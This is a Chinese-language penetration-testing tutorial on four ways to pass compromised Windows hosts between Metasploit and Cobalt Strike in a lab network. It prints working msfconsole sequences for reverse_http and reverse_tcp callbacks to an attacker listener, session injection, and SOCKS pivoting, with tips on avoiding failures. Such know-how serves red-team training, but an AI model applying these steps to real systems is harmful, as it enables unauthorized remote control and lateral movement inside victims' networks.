Metasploit和Cobalt Strike的四种联动场景

作者:zyh

原文地址:https://secvul.com/topics/862.html


Metasploit就不介绍了,Cobalt Strike是一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑、钓鱼攻击等等。

然而这都是旧事了,翅膀硬了总要单飞,Cobalt Strike 2.5版本后就脱离metasploit框架自己重写,但旧情难忘,两兄弟还相互提供接口支持。

Cobalt Strike与metasploit曾是GUI版本与命令行版本的关系,重写后,Cobalt Strike更偏重于稳定控制,专心做远控。而MetaSploit则偏向于内网的横向渗透。两者相比,Cobalt Strike的socks4a服务比metasploit稳定太多了,受害机器从Cobalt Strike上线后,可以使用Cobalt Strike中的socks4a协议进行代理渗透,实战测试端口扫描开200线程不会挂,而MetaSploit中的route add或者是socks4a就逊色多了(有兴趣的可以自己测试)。但是,Cobalt Strike缺乏横向EXP攻击。

基于此,如果拿Cobalt Strike日内网,前提是你获得了目标的权限,运行Cobalt Strike的远控马上线,然后通过Cobalt Strike进行代理(或者其它扫描等),进行内网渗透,找出内网其它机器漏洞后继续利用其它工具进行exploit,exploit后再运行Cobalt Strike的远控马,这过程中,其实Cobalt Strike与metasploit并没有很好地配合起来。如果我们使用metasploit配合Cobalt Strike一起进行内网渗透的话,会是一种很好的手段。

在使用metasploit和Cobalt Strike配合的渗透中,可能会有如下四种联动场景:

(1)metasploit获得了一个meterpreter的session,想把session传给Cobalt Strike
(2)metasploit未获得meterpreter的session,但受害机器已经执行metasploit生成的木马程序,想直接让目标给Cobalt Strike上线
(3)Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit,让meterpreter获得一个session进行控制
(4)Cobalt Strike获得了一个上线机器,想把这个机器丢在metasploit中继续进行渗透

下面便来聊聊这4点是如何实际操作的:

本文网络环境如下:受害机器IP:192.168.23.128 METASPLOIT和Cobalt Strike在同一个IP下:192.168.23.129

1.metasploit获得了一个meterpreter的session,想把session传给Cobalt Strike:

《Metasploit和Cobalt Strike的四种联动场景》
思路是使用metasploit中的inject payload来做,现在先假设已有一个meterpreter的session了,步骤如下:
在Cobalt Strike中新建监听

《Metasploit和Cobalt Strike的四种联动场景》
点击save创建成功后我们便有了一个reverse_http监听者,监听者33890端口,等待被控机连接。
此时切换到meterpreter中,输入下列命令:

background # 切换到后台
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http # 这里有个坑,不能使用x64的payload,我开始试验了很久一直失败,发现是x64的原因,换成x86的payload就好了,原因不明!
set lhost 192.168.23.129 # Cobalt Strike的服务端IP
set lport 33890 # 监听者的监听端口
set session 2 # 这里是之前meterpreter的session编号
set disablepayloadhandler true # 关闭payload的监听,因为metasploit和Cobalt Strike在同一台机器,而且这里用Cobalt Strike监听而不是metasploit,否则会端口冲突。
exploit

《Metasploit和Cobalt Strike的四种联动场景》
此时机器便已成功从Cobalt Strike成功上线。

《Metasploit和Cobalt Strike的四种联动场景》

2.metasploit未获得meterpreter的session,但受害机器已经执行metasploit生成的木马程序,想直接让目标给Cobalt Strike上线

Cobalt Strike先开启监听者(监听metasploit远控木马的连接端口LPORT),此时metasploit的payload按照如下写法即可:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.23.129 # Cobalt Strike的服务端IP
set lport 43215 (43215为metasploit远控木马的连接端口LPORT)
set disablepayloadhandler true 
exploit

就可以了,简单吧。这里其实就是payload选择reverse_http(注意32位的,不是64位的,这里大坑),然后监听的地址和端口写Cobalt Strike的监听者的信息就可以了。

《Metasploit和Cobalt Strike的四种联动场景》

3.Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit中的meterpreter获得一个session进行控制

步骤如下:

metasploit中:
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp # 再次强调大坑:不要用x64的payload!
set lhost 192.168.23.129 
set lport 7654 
exploit # 开启监听

《Metasploit和Cobalt Strike的四种联动场景》
Cobalt Strike中,对目标机器点击右键,spawn,新建一个监听者,payload选择foreign/reverse_tcp

《Metasploit和Cobalt Strike的四种联动场景》
最后choose它就可以了,如果meterpreter没有马上获得shell,不要着急不要紧张,因为Cobalt Strike中默认sleep是1分钟,你可以先提前把sleep时间改短些,这样Cobalt Strike的反应会快些。
最后已经成功:

《Metasploit和Cobalt Strike的四种联动场景》

4.Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit中继续进行渗透

这里其实只需要Cobalt Strike开一个socks给metasploit用就行了,具体操作如下:
对上线机器点右键Pivoting-SOCKS Server ,开启socks4a,然后会给你一个地址,在metasploit中设置proxy即可。

《Metasploit和Cobalt Strike的四种联动场景》


为您推荐了相关的技术文章:

  1. 实战 SSH 端口转发
  2. phunterlau/data_science_for_whitehat
  3. 一条命令引发的思考|技术讨论 - 安全技术社区
  4. Github & CSRF 组合入企业内网的案例 - SecPulse.COM
  5. 从 MongoDB “赎金事件” 看安全问题 | | 酷 壳 - CoolShell

原文链接: secvul.com